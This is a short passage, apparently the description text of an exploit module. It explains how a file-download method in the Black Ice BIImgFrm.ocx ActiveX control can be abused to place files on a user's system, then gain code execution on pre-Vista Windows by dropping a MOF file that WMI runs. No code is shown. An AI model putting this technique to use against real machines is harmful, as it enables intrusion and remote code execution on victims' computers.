                    This module allows remote attackers to place arbitrary files on a users file system
                by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
                Control (BIImgFrm.ocx 12.0.0.0).  Code exeuction can be acheived by first uploading the
                payload to the remote machine, and then upload another mof file, which enables Windows
                Management Instrumentation service to execute the binary. Please note that this module
                currently only works for Windows before Vista.  Also, a similar issue is reported in
                BIDIB.ocx (10.9.3.0) within the Barcode SDK.
